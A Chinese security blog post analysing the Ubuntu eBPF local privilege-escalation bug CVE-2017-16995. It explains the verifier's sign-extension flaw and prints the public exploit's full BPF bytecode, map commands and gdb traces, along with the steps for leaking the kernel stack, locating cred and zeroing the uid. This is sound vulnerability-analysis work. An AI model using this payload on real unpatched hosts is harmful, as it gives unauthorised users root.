热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【原创】深入分析Ubuntu本地提权漏洞CVE201716995

*本文首发阿里云先知安全技术社区,原文链接https:xz.aliyun.comt2212前言:2018年3月中旬,Twitter用户Vi

 

*本文首发阿里云先知安全技术社区,原文链接https://xz.aliyun.com/t/2212

前言:

2018年3月中旬,Twitter 用户 @Vitaly Nikolenko 发布消息,称 ubuntu 最新版本(Ubuntu 16.04)存在高危的本地提权漏洞,而且推文中还附上了 EXP 下载地址。

 

由于该漏洞成功在aws Ubuntu镜像上复现,被认为是0DAY,引起了安全圈同学们的广泛关注。大体浏览了 一下exp代码,发现利用姿势很优雅,没有ROP,没有堆,没有栈,比较感兴趣,不过等了几天也没发现有详细的漏洞分析,正好赶上周末,便自己跟了一下:)

经过一番了解发现这个漏洞并不是什么0DAY,最早是去年12月21号Google Project Zero团队的Jann Horn发现并报告的,编号为CVE-2017-16995,作者在报告该漏洞的时候附了一个DOS的POC。另外,最早公开发布可成功提权exploit也不是Vitaly Nikolenko,而是Bruce Leidl,其在12月21号就把完整的提权exploit公布到了github上,地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c。

 

技术分析

eBPF简介

众所周知,linux的用户层和内核层是隔离的,想让内核执行用户的代码,正常是需要编写内核模块,当然内核模块只能root用户才能加载。而BPF则相当于是内核给用户开的一个绿色通道:BPF(Berkeley Packet Filter)提供了一个用户和内核之间代码和数据传输的桥梁。用户可以用eBPF指令字节码的形式向内核输送代码,并通过事件(如往socket写数据)来触发内核执行用户提供的代码;同时以map(key,value)的形式来和内核共享数据,用户层向map中写数据,内核层从map中取数据,反之亦然。BPF设计初衷是用来在底层对网络进行过滤,后续由于他可以方便的向内核注入代码,并且还提供了一套完整的安全措施来对内核进行保护,被广泛用于抓包、内核probe、性能监控等领域。BPF发展经历了2个阶段,cBPF(classic BPF)和eBPF(extend BPF),cBPF已退出历史舞台,后文提到的BPF默认为eBPF。

eBPF虚拟指令系统

eBPF虚拟指令系统属于RISC,拥有10个虚拟寄存器,r0-r10,在实际运行时,虚拟机会把这10个寄存器一一对应于硬件CPU的10个物理寄存器,以x64为例,对应关系如下:

    R0 – rax

    R1 - rdi

    R2 - rsi

    R3 - rdx

    R4 - rcx

    R5 - r8

    R6 - rbx

    R7 - r13

    R8 - r14

    R9 - r15

    R10 – rbp(帧指针,frame pointer)

每一条指令的格式如下:

struct bpf_insn {__u8 code; /* opcode */__u8 dst_reg:4; /* dest register */__u8 src_reg:4; /* source register */__s16 off; /* signed offset */__s32 imm; /* signed immediate constant */
};

 

如一条简单的x86赋值指令:mov eax,0xffffffff,对应的BPF指令为:BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),其对应的数据结构为:

#define BPF_MOV32_IMM(DST, IMM) \((struct bpf_insn) { \.code = BPF_ALU | BPF_MOV | BPF_K, \.dst_reg = DST, \.src_reg = 0, \.off = 0, \.imm = IMM })

其在内存中的值为:\xb4\x09\x00\x00\xff\xff\xff\xff

关于BPF指令系统此处就不再赘述,只要明确以下两点即可:1.其为RISC指令系统,也就是说每条指令大小都是一样的;2.其虚拟的10个寄存器一一对应于物理cpu的寄存器,且功能类似,比如BPF的r10寄存器和rbp一样指向栈,r0用于返回值。

BPF的加载过程

一个典型的BPF程序流程为:

1.   用户程序调用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请创建一个map,在attr结构体中指定map的类型、大小、最大容量等属性。

2.   用户程序调用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))来将我们写的BPF代码加载进内核,attr结构体中包含了指令数量、指令首地址指针、日志级别等属性。在加载之前会利用虚拟执行的方式来做安全性校验,这个校验包括对指定语法的检查、指令数量的检查、指令中的指针和立即数的范围及读写权限检查,禁止将内核中的地址暴露给用户空间,禁止对BPF程序stack之外的内核地址读写。安全校验通过后,程序被成功加载至内核,后续真正执行时,不再重复做检查。

3.   用户程序通过调用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)将我们写的BPF程序绑定到指定的socket上。Progfd为上一步骤的返回值。

4.   用户程序通过操作上一步骤中的socket来触发BPF真正执行。

BPF的安全校验

Bpf指令的校验是在函数do_check中,代码路径为kernel/bpf/verifier.c。do_check通过一个无限循环来遍历我们提供的bpf指令,

 

理论上虚拟执行和真实执行的执行路径应该是完全一致的。如果步骤2安全校验过程中的虚拟执行路径和步骤4 bpf的真实执行路径不完全一致的话,会怎么样呢?看下面的例子:

1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),             /* r9 = (u32)0xFFFFFFFF   */

2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),   /* if (r9 == -1) {        */

3.BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */

4.BPF_EXIT_INSN()

5.……

第一条指令是个简单的赋值语句,把0xFFFFFFFF这个值赋值给r9.

第二条指令是个条件跳转指令,如果r9等于0xFFFFFFFF,则退出程序,终止执行;如果r9不等于0xFFFFFFFF,则跳过后面2条执行继续执行第5条指令。

虚拟执行的时候,do_check检测到第2条指令等式恒成立,所以认为BPF_JNE的跳转永远不会发生,第4条指令之后的指令永远不会执行,所以检测结束,do_check返回成功。

真实执行的时候,由于一个符号扩展的bug,导致第2条指令中的等式不成立,于是cpu就跳转到第5条指令继续执行,这里是漏洞产生的根因,这4条指令,可以绕过BPF的代码安全检查。既然安全检查被绕过了,用户就可以随意往内核中注入代码了,提权就水到渠成了:先获取到task_struct的地址,然后定位到cred的地址,然后定位到uid的地址,然后直接将uid的值改为0,然后启动/bin/bash。

漏洞分析

下面结合真实的exp来动态分析一下漏洞的执行过程。

Vitaly Nikolenko公布的这个exp,关键代码就是如下这个prog数组:

 

这个数组就是BPF的指令数据,想要搞清楚exp的机理,首先要把这堆16进制数据翻译成BPF指令,翻译结果如下:

bytes="\xb4\x09\x00\x00\xff\xff\xff\xff"\ #BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
"\x55\x09\x02\x00\xff\xff\xff\xff"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
"\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN()"\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */
"\x00\x00\x00\x00\x00\x00\x00\x00"\#BPF_MAP_GET(0, BPF_REG_6) r6=op,取map的第1个元素放到r6
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
"\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */#BPF_MAP_GET(1, BPF_REG_7) r7=address,取map的第2个元素放到r7
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
"\x62\x0a\xfc\xff\x01\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x07\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r7), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */#BPF_MAP_GET(2, BPF_REG_8) r8=value,取map的第3个元素放到r8
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
"\x62\x0a\xfc\xff\x02\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x08\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r8), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */"\xbf\x02\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
"\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
"\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */
"\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
"\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(),
"\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),
"\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x7b\x87\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */

do_check上打个断点,编译运行,成功断了下来,先看一下调用栈:

(gdb) bt
#
0 do_check (env=0xffff880078190000)at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:1724
#
1 0xffffffff8117c057 in bpf_check (prog=0xffff880034003e10, attr=out>)at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:2240
#
2 0xffffffff81178631 in bpf_prog_load (attr=0xffff880034003ee0)at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:679
#
3 0xffffffff81178d3a in SYSC_bpf (size=48, uattr=out>, cmd=out>)at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:783
#
4 SyS_bpf (cmd=5, uattr=140722476394128, size=48)at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:725
#
5 0xffffffff8184efc8 in entry_SYSCALL_64 ()at /build/linux-fQ94TU/linux-4.4.0/arch/x86/entry/entry_64.S:193
#
6 0x0000000000000001 in irq_stack_union ()
#
7 0x0000000000000000 in ?? ()
(gdb)

 

首先看第一条赋值语句BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),do_check中最终的赋值语句如下:

 

其中dst_reg为虚拟执行过程中的寄存器结构体,结构体定义如下:

可以看到该结构体有2个字段,第一个为type,代表寄存器数据的类型,此处为CONST_IMM,CONST_IMM的值为8.另外一个为常量立即数的具体数值,可以看到类型为int有符号整形。

我们在此处下断点,可以看到具体的赋值过程,如下:

(gdb) x/10 $rip-40xffffffff8117b0ac 5548>: mov DWORD PTR [rsi+rax*1+0x8],edx
=> 0xffffffff8117b0b0 5552>: jmp 0xffffffff8117a38c 2188>0xffffffff8117b0b5 5557>: mov rdi,QWORD PTR [rsp+0x38]0xffffffff8117b0ba 5562>: mov rdx,rax0xffffffff8117b0bd 5565>: movzx esi,al0xffffffff8117b0c0 5568>: and edx,0x180xffffffff8117b0c3 5571>: mov rdx,QWORD PTR [rdx-0x7e5db140]0xffffffff8117b0ca 5578>: movzx ecx,BYTE PTR [rdi+0x1]0xffffffff8117b0ce 5582>: movsx r8d,WORD PTR [rdi+0x2]0xffffffff8117b0d3 5587>: mov r9d,DWORD PTR [rdi+0x4]
(gdb) i r $edx
edx
0xffffffff -1
(gdb) x
/10x $rsi+$rax
0xffff8800781930a8: 0x00000008 0x00000000 0xffffffff 0x00000000
0xffff8800781930b8: 0x00000006 0x00000000 0x00000000 0x00000000
0xffff8800781930c8: 0x00000000 0x00000000
(gdb)

$rsi+$rax处即为reg_state结构体,可以看到第一个字段为8,第二个字段为0Xffffffff。

然后我们跟进第二条指令中的比较语句BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),do_check检测到跳转类指令时,根据跳转类型进入不通的检测分支,此处是JNE跳转,进入check_cond_jmp_op分支,如下图:

Do_check在校验条件类跳转指令的时候,会判断条件是否成立,如果是非确定性跳转的话,就说明接下来2个分支都有可能执行(分支A和分支B),这时do_check会把下一步需要跳转到的指令编号(分支B)放到一个临时栈中备用,这样当前指令顺序校验(分支A)过程中遇到EXIT指令时,会从临时栈中取出之前保存的下一条指令的序号(分支B)继续校验。如果跳转指令恒成立的话,就不会再往临时栈中放入分支B,因为分支B永远不会执行,如下图:

第一个红框即为虚拟寄存器中的imm与指令中提供的imm进行比较,这两个类型如下:

可以看到等号两侧的数据类型完全一致,都为有符号整数,所以此处条件跳转条件恒成立,不会往临时栈中push分支B指令编号。

接下来看BPF_EXIT_INSN(),刚才提到在校验EXIT指令时,会从临时栈中尝试取指令(调用pop_stack函数),如果临时栈中有指令,那就说明还有其他可能执行到的分支,需要继续校验,如果取不到值,表示当前这条EXIT指令确实是BPF程序最后一条可以执行到的指令,此时pop_stack会返回-1,然后break跳出do_check校验循环,do_check执行结束,校验通过,如下图:

跟进pop_stack,如下图:

实际执行过程如下:

(gdb) x/10i $rip
=> 0xffffffff81178f29 9>: test r8,r8 //此处判断env->head是否为NULL0xffffffff81178f2c 12>: je 0xffffffff81178fb4 148> //为NULL时,跳转到0xffffffff81178fb40xffffffff81178f32 18>: push rbp0xffffffff81178f33 19>: mov rax,rsi0xffffffff81178f36 22>: lea rcx,[rdi+0x18]0xffffffff81178f3a 26>: mov rdx,rdi0xffffffff81178f3d 29>: lea rdi,[rdi+0x20]0xffffffff81178f41 33>: mov rbp,rsp0xffffffff81178f44 36>: push r130xffffffff81178f46 38>: push r12
(gdb) i r $r8
r8
0x0 0
(gdb) x
/10i 0xffffffff81178fb40xffffffff81178fb4 148>: mov eax,0xffffffff //pop_stack返回-10xffffffff81178fb9 153>: ret //pop_stack返回-10xffffffff81178fba: nop WORD PTR [rax+rax*1+0x0]0xffffffff81178fc0 : nop DWORD PTR [rax+rax*1+0x0]0xffffffff81178fc5 5>: push rbp0xffffffff81178fc6 6>: mov rbp,rsp0xffffffff81178fc9 9>: sub rsp,0x500xffffffff81178fcd 13>: mov rax,QWORD PTR gs:0x280xffffffff81178fd6 22>: mov QWORD PTR [rsp+0x18],rax0xffffffff81178fdb 27>: xor eax,eax
(gdb)

 

到此为止我们了解了BPF的校验过程,这个exp一共有41条指令,BPF只校验了4条指令,然后返回校验成功。

接下来我们继续跟进BPF指令的执行过程,对应的代码如下(路径为kernel/bpf/core.c):

其中DST为目标寄存器,IMM为立即数,我们跟进DST的定义:

跟进IMM的定义:

很明显,等号两边的数据类型是不一致的,所以导致这里的条件跳转语句的结果完全相反,以下为实际执行过程:

(gdb) x/10i $rip
&#61;> 0xffffffff8117731f <__bpf_prog_run&#43;2191>: cmp QWORD PTR [rbp&#43;rax*8-0x270],rdx0xffffffff81177327 <__bpf_prog_run&#43;2199>: je 0xffffffff81177d8a <__bpf_prog_run&#43;4858>0xffffffff8117732d <__bpf_prog_run&#43;2205>: movsx rax,WORD PTR [rbx&#43;0x2]0xffffffff81177332 <__bpf_prog_run&#43;2210>: lea rbx,[rbx&#43;rax*8&#43;0x8]0xffffffff81177337 <__bpf_prog_run&#43;2215>: jmp 0xffffffff81176ae0 <__bpf_prog_run&#43;80>0xffffffff8117733c <__bpf_prog_run&#43;2220>: movzx eax,BYTE PTR [rbx&#43;0x1]0xffffffff81177340 <__bpf_prog_run&#43;2224>: mov edx,eax0xffffffff81177342 <__bpf_prog_run&#43;2226>: shr dl,0x40xffffffff81177345 <__bpf_prog_run&#43;2229>: and edx,0xf0xffffffff81177348 <__bpf_prog_run&#43;2232>: cmp QWORD PTR [rbp&#43;rdx*8-0x270],0x0
(gdb) i r $rdx
rdx
0xffffffffffffffff -1
(gdb) x
/10x (rbp&#43;rax*8-0x270)
No symbol
"rbp" in current context.
(gdb) x
/10x ($rbp&#43;$rax*8-0x270)
0xffff880076143a78: 0xffffffff 0x00000000 0x76143c88 0xffff8800
0xffff880076143a88: 0x00000001 0x00000000 0x00000001 0x01000000
0xffff880076143a98: 0x746ee000 0xffff8800
(gdb)

等号两边的值完全不一样&#xff0c;这里的跳转条件成立&#xff0c;会往后跳2条指令继续执行&#xff0c;和虚拟执行的过程相反。

接下来就是分析exp里面的BPF指令了&#xff0c;通过自定义BPF指令&#xff0c;我们可以绕过安全校验实现任意内核指针泄露&#xff0c;任意内核地址读写。

构造一下攻击路径&#xff1a;

1.申请一个MAP&#xff0c;长度为3&#xff1b;

2.这个MAP的第一个元素为操作指令&#xff0c;第2个元素为需要读写的内存地址&#xff0c;第3个元素用来存放读取到的内容。此时这个MAP相当于一个CC&#xff0c;3个元素组成一个控制指令。

3.组装一个指令&#xff0c;读取内核的栈地址。根据内核栈地址获取到current的地址。

4.读current结构体的第一个成员&#xff0c;或得task_struct的地址&#xff0c;继而加上cred的偏移得到cred地址&#xff0c;最终获取到uid的地址。

5.组装一个写指令&#xff0c;向上一步获取到的uid地址写入0.

6.启动新的bash进程&#xff0c;该进程的uid为0&#xff0c;提权成功。

Exp中就是按照如上的攻击路径来提权的&#xff0c;申请完map之后&#xff0c;首先发送获取内核栈地址的指令&#xff0c;如下&#xff1a;

bpf_update_elem(0, 0);

bpf_update_elem(1, 0);

bpf_update_elem(2, 0);

然后通过调用writemsg触发BPF程序运行&#xff0c;BPF会进入如下分支&#xff1a;

"\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9&#61;mapfd */
#
BPF_MAP_GET(0, BPF_REG_6) r6&#61;op
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 &#61; r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 &#61; fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 &#61; fp - 4 */
"\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx&#61;0), /* *(u32 *)(fp - 4) &#61; idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 &#61;&#61; 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst &#61; *(u64 *)(r0) */

 

之前提到过&#xff0c;BPF的r10寄存器相当于x86_64的rbp&#xff0c;是指向内核栈的&#xff0c;所以这里第一行指令将map的标识放到r9&#xff0c;第二条指令将r9放到r1&#xff0c;作为后续调用BPF_FUNC_map_lookup_elem函数的第一个参数&#xff0c;第三条指令将内核栈指针赋值给r2&#xff0c;第四条指令在栈上开辟4个字节的空间&#xff0c;第五条指令将map元素的序号放到r2&#xff0c;第六条指令取map中第r2个元素的值并把返回值存入r0&#xff0c;第七条指令判断BPF_FUNC_map_lookup_elem有没有执行成功&#xff0c;r0&#61;0则未成功。成功后执行第9条指令&#xff0c;将取到的值放到r6中。继续依次往下执行&#xff0c;直到执行到下面的路径&#xff1a;

"\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op &#61;&#61; 0) */
"\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
"\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(),
"\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),
"\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */

 

判断r6是否为0&#xff0c;为0说明是取栈地址的指令&#xff0c;这时会往下跳3条指令&#xff0c;继续执行第7条指令&#xff0c;将r10的内容写入r2&#xff0c;由于在执行第30条指令时r0指向map中的第二个元素&#xff0c;所以这时r2也指向这个元素&#xff0c;然后用户层通过get_value(2)取到了内核栈的地址&#xff0c;我们通过给BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0)下断点&#xff0c;可以看到过程如下&#xff1a;

(gdb) x/20i 0xffffffff8117788b0xffffffff8117788b <__bpf_prog_run&#43;3579>: movzx eax,BYTE PTR [rbx&#43;0x1]0xffffffff8117788f <__bpf_prog_run&#43;3583>: movsx rdx,WORD PTR [rbx&#43;0x2]0xffffffff81177894 <__bpf_prog_run&#43;3588>: add rbx,0x80xffffffff81177898 <__bpf_prog_run&#43;3592>: mov rcx,rax0xffffffff8117789b <__bpf_prog_run&#43;3595>: shr al,0x40xffffffff8117789e <__bpf_prog_run&#43;3598>: and ecx,0xf0xffffffff811778a1 <__bpf_prog_run&#43;3601>: and eax,0xf0xffffffff811778a4 <__bpf_prog_run&#43;3604>: mov rcx,QWORD PTR [rbp&#43;rcx*8-0x270]0xffffffff811778ac <__bpf_prog_run&#43;3612>: mov rax,QWORD PTR [rbp&#43;rax*8-0x270]0xffffffff811778b4 <__bpf_prog_run&#43;3620>: mov QWORD PTR [rcx&#43;rdx*1],rax
&#61;> 0xffffffff811778b8 <__bpf_prog_run&#43;3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run&#43;80>0xffffffff811778bd <__bpf_prog_run&#43;3629>: movzx eax,BYTE PTR [rbx&#43;0x1]0xffffffff811778c1 <__bpf_prog_run&#43;3633>: movsx rdx,WORD PTR [rbx&#43;0x2]0xffffffff811778c6 <__bpf_prog_run&#43;3638>: add rbx,0x80xffffffff811778ca <__bpf_prog_run&#43;3642>: movsxd rcx,DWORD PTR [rbx-0x4]0xffffffff811778ce <__bpf_prog_run&#43;3646>: and eax,0xf0xffffffff811778d1 <__bpf_prog_run&#43;3649>: mov rax,QWORD PTR [rbp&#43;rax*8-0x270]0xffffffff811778d9 <__bpf_prog_run&#43;3657>: mov QWORD PTR [rax&#43;rdx*1],rcx0xffffffff811778dd <__bpf_prog_run&#43;3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run&#43;80>0xffffffff811778e2 <__bpf_prog_run&#43;3666>: lfence (gdb) i r $rax
rax
0xffff8800758c3c88 -131939423208312
(gdb)

其中rax的值0xffff8800758c3c88即为泄露的内核栈地址&#xff08;其实应该称为帧指针更准确&#xff09;。

然后通过经典的addr & ~(0x4000 - 1)获取到current结构体的起始地址0xffff8800758c0000&#xff0c;然后构造读数据的map指令去读current中偏移为0的指针值&#xff08;即为指向task_struct的指针&#xff09;&#xff1a;

bpf_update_elem(0, 0);

bpf_update_elem(1, 0xffff8800758c0000);

bpf_update_elem(2, 0);

其中addr为当前线程current的值0xffff8800758c0000&#xff0c;这样可以得到task_struct的地址&#xff0c;

过程如下&#xff1a;

(gdb) x/10i $rip-200xffffffff811778a4 <__bpf_prog_run&#43;3604>: mov rcx,QWORD PTR [rbp&#43;rcx*8-0x270]0xffffffff811778ac <__bpf_prog_run&#43;3612>: mov rax,QWORD PTR [rbp&#43;rax*8-0x270]0xffffffff811778b4 <__bpf_prog_run&#43;3620>: mov QWORD PTR [rcx&#43;rdx*1],rax
&#61;> 0xffffffff811778b8 <__bpf_prog_run&#43;3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run&#43;80>0xffffffff811778bd <__bpf_prog_run&#43;3629>: movzx eax,BYTE PTR [rbx&#43;0x1]0xffffffff811778c1 <__bpf_prog_run&#43;3633>: movsx rdx,WORD PTR [rbx&#43;0x2]0xffffffff811778c6 <__bpf_prog_run&#43;3638>: add rbx,0x80xffffffff811778ca <__bpf_prog_run&#43;3642>: movsxd rcx,DWORD PTR [rbx-0x4]0xffffffff811778ce <__bpf_prog_run&#43;3646>: and eax,0xf0xffffffff811778d1 <__bpf_prog_run&#43;3649>: mov rax,QWORD PTR [rbp&#43;rax*8-0x270]
(gdb) i r $rax
rax
0xffff880074343c00 -131939445752832
(gdb) x
/10x 0xffff8800758c0000
0xffff8800758c0000: 0x74343c00 0xffff8800 0x00000008 0x00000000
0xffff8800758c0010: 0x00000001 0x00000000 0xfffff000 0x00007fff
0xffff8800758c0020: 0x00000000 0x00000000
(gdb)

 

其中rax的值即为指向task_struct的指针&#xff0c;可以看到和current结构体的第一个成员的值是一致的&#xff0c;都是0xffff880074343c00

得到task_struct地址之后&#xff0c;加上cred的偏移CRED_OFFSET&#61;0x5f8&#xff08;由于内核版本不通或者内核的编译选项不同&#xff0c;都可能导致cred在task_struct中的偏移不同&#xff09;&#xff0c;组装读取指令取读取指向cred结构体的指针地址&#xff1a;

bpf_update_elem(0, 2);

bpf_update_elem(1, 0xffff880074343c00&#43;0x5f8);

bpf_update_elem(2, 0);

过程如下&#xff1a;

(gdb) x/10i $rip
&#61;> 0xffffffff811778b8 <__bpf_prog_run&#43;3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run&#43;80>0xffffffff811778bd <__bpf_prog_run&#43;3629>: movzx eax,BYTE PTR [rbx&#43;0x1]0xffffffff811778c1 <__bpf_prog_run&#43;3633>: movsx rdx,WORD PTR [rbx&#43;0x2]0xffffffff811778c6 <__bpf_prog_run&#43;3638>: add rbx,0x80xffffffff811778ca <__bpf_prog_run&#43;3642>: movsxd rcx,DWORD PTR [rbx-0x4]0xffffffff811778ce <__bpf_prog_run&#43;3646>: and eax,0xf0xffffffff811778d1 <__bpf_prog_run&#43;3649>: mov rax,QWORD PTR [rbp&#43;rax*8-0x270]0xffffffff811778d9 <__bpf_prog_run&#43;3657>: mov QWORD PTR [rax&#43;rdx*1],rcx0xffffffff811778dd <__bpf_prog_run&#43;3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run&#43;80>0xffffffff811778e2 <__bpf_prog_run&#43;3666>: lfence
(gdb) i r $rax
rax
0xffff880074cb5e00 -131939435848192
(gdb) p (
struct task_struct *)0xffff880074343c00
$
15 &#61; (struct task_struct *) 0xffff880074343c00
(gdb) p ((
struct task_struct *)0xffff880074343c00)->cred
$
16 &#61; (const struct cred *) 0xffff880074cb5e00
(gdb) p
&((struct task_struct *)0xffff880074343c00)->cred
$
17 &#61; (const struct cred **) 0xffff8800743441f8
(gdb) x
/10x 0xffff880074343c00&#43;0x5f8
0xffff8800743441f8: 0x74cb5e00 0xffff8800 0x00707865 0x65742d00
0xffff880074344208: 0x6e696d72 0x002d6c61 0x00000000 0x00000000
